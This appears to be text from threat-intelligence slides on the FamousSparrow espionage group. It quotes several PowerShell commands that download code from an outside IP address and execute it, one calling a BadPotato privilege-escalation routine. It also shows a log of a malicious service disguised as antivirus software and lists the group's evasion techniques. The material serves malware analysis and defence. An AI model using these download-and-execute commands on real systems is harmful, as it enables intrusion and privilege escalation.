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powershell.exe $Ranjkr='krz0SPzUHQYc3WkqTnrC1foWrkRBYUUu';$Ekqxkr=New-Object Net.WebClient;IEX $Ekqxkr.DownloadString('http://43.254.216.195:8080/DoNd1YBcH4uunntcIqOOHjOpBI26fqJOBYs_3Wm9mDlxUS6EraZGc365mGb3EqQg') ;Get-HubModule 0;Invoke-BadPotato
powershell.exe $Ranjkr='krz0SPzUHQYc3WkqTnrC1foWrkRBYUUu';$Ekqxkr=New-Object Net.WebClient;IEX $Ekqxkr.DownloadString('http://43.254.216.195:8080/DoNd1YBcH4uunntcIqOOHjOpBI26fqJOBYs_3Wm9mDlxUS6EraZGc365mGb3EqQg') ;List-HubModules
powershell.exe [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$Ranjkr='krz0SPzUHQYc3WkqTnrC1foWrkRBYUUu';$Ekqxkr=New-Object Net.WebClient;IEX $Ekqxkr.DownloadString('https://43.254.216.195:8443/F0-jELDzuicSBNXkPefsTQUtC-JaDvCi4YXGJmHPmwY=‘)
powershell.exe $Ranjkr='krz0SPzUHQYc3WkqTnrC1foWrkRBYUUu';$Ekqxkr=New-Object Net.WebClient;IEX $Ekqxkr.DownloadString('http://43.254.216.195:8080/OXpMlC-iGTPdw5Q9KoUR_5Ez6GWuwffCMago-Zi6MY1c8fLcnZpc3oHBzggtgCOW’)
powershell.exe $Ranjkr='krz0SPzUHQYc3WkqTnrC1foWrkRBYUUu';$Ekqxkr=New-Object Net.WebClient;IEX $Ekqxkr.DownloadString('http://43.254.216.195:8080/swh0SJGL74rJ3OL7RJVfuRjg9awtWtzfmvPuWoBx3MDgZjlthr5AgdpWpo2qk2Z9PJqfg5Kboyq9Y2jX6pyjwQ==‘)

Service "K7Soft Virus Protection" (user mode service) was installed. 
File Name: "C:\windows\tasks\K7AVWScn.exe 11". 
Start Type: auto start. Account: LocalSystem
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FamousSparrow
doesn’t want to 
get caught…

• DLL sideloading

• Encrypted payloads loaded in 
memory

• Masquerading as legitimate 
software

• Security software detection

• Obfuscation

• Basic anti-debug features

• Pivoting to unprotected machines
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